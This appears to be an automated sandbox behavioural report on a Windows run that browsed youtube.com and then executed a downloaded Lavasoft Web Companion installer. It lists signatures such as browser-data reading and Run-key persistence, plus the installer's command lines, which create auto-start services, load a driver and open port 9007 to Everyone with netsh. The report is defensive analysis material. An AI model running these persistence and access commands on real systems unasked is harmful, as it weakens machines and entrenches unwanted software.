Resubmissions
24-01-2022 18:12
220124-ws75xsgcf6 114-01-2022 15:34
220114-szqyfahceq 1008-01-2022 19:45
220108-ygvfssdbh9 1008-01-2022 19:45
220108-ygvfssdbh8 1008-01-2022 19:34
220108-x95xkadbh3 807-01-2022 14:28
220107-rsy5sscda4 1006-01-2022 19:07
220106-xszdfsbee2 10Analysis
-
max time kernel
675s -
max time network
671s -
platform
windows7_x64 -
resource
win7-ja-20211208 -
submitted
08-01-2022 19:45
General
-
Target
https://youtube.com
Score
10/10
Malware Config
Signatures
-
Registers COM server for autorun 1 TTPs
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
-
Executes dropped EXE 55 IoCs
-
Modifies Installed Components in the registry 2 TTPs
-
Sets file execution options in registry 2 TTPs
-
UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 6 IoCs
-
Checks for any installed AV software in registry 1 TTPs 8 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 8 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 64 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Kills process with taskkill 64 IoCs
-
Modifies Internet Explorer settings 1 TTPs 64 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
NTFS ADS 1 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 3 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 28 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6284f50,0x7fef6284f60,0x7fef6284f702⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1132 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1412 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1828 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2064 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2712 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1424 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3492 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3588 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2336 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3696 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2440 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1416 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2496 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2472 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3972 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4040 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3964 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3956 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3908 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2780 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3112 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4052 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe" --reenable-autoupdates --system-level2⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x13c,0x140,0x144,0x110,0x148,0x13fc9a890,0x13fc9a8a0,0x13fc9a8b03⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4132 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2220 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4024 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3468 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3104 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4372 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4324 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4164 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4312 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4224 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4416 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1408 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4120 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2292 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4496 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4300 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4856 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4652 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4552 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3728 /prefetch:82⤵
-
C:\Users\Admin\Downloads\WcInstaller.exe"C:\Users\Admin\Downloads\WcInstaller.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS07303B56\WebCompanionInstaller.exe.\WebCompanionInstaller.exe --webprotection --partner=newwebsite --version=8.0.0.2143⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exe"sc.exe" Create "WCAssistantService" binPath= "C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe" DisplayName= "WC Assistant" start= auto4⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" failure WCAssistantService reset= 30 actions= restart/600004⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" description "WCAssistantService" "Ad-Aware Web Companion Internet security service"4⤵
-
C:\Windows\system32\RunDLL32.Exe"C:\Windows\sysnative\RunDLL32.Exe" syssetup,SetupInfObjectInstallAction BootInstall 128 C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\bddci.inf4⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r5⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o6⤵
-
C:\Windows\system32\net.exe"C:\Windows\sysnative\net.exe" start bddci4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start bddci5⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" Create "DCIService" binPath= "C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe" DisplayName= "DCIService" start= auto4⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" description "DCIService" "Webprotection Bridge service"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\bridge_start.cmd"4⤵
-
C:\Windows\SysWOW64\sc.exesc start DCIService5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C netsh http add urlacl url=http://+:9007/ user=Everyone4⤵
-
C:\Windows\SysWOW64\netsh.exenetsh http add urlacl url=http://+:9007/ user=Everyone5⤵
-
C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe"C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe" --install --geo=4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1meg26ti.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5707.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5706.tmp"6⤵
-
C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe"C:\Program Files (x86)\Lavasoft\Web Companion\Application\WebCompanion.exe" --afterinstall4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\czgydpwz.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F46.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8F45.tmp"6⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1344 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4288 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3596 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1772 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1728 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4212 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1724 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4316 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1124,17297721641690370872,17557315218685490183,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3512 /prefetch:82⤵
-
